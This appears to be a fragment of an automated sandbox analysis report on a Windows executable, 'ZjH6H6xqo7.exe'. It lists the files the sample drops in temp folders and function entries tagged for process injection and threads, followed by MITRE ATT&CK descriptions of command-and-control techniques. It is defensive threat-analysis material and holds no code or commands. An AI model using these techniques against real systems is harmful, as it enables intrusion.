Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ZjH6H6xqo7.exe.log

C:\Users\user\AppData\Local\Temp\RES6781.tmp

C:\Users\user\AppData\Local\Temp\up5gphgh\CSCE347F25DAC914FE0BD5774A121A2513C.TMP

C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.0.cs

C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.cmdline

C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.dll

C:\Users\user\AppData\Local\Temp\up5gphgh\up5gphgh.out

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
ZjH6H6xqo7.exe

Function 01572805 Relevance: 1.7, APIs: 1, Instructions: 245
processCOMMON

Function 01572810 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 01572581 Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Function 01572588 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 01572670 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Function 015723E8 Relevance: 1.6, APIs: 1, Instructions: 65
threadCOMMON

Function 015723F0 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Function 01572678 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 015724C1 Relevance: 1.6, APIs: 1, Instructions: 54
memoryCOMMON

Function 015724C8 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Function 01572339 Relevance: 1.6, APIs: 1, Instructions: 50
threadCOMMON

Function 01572340 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre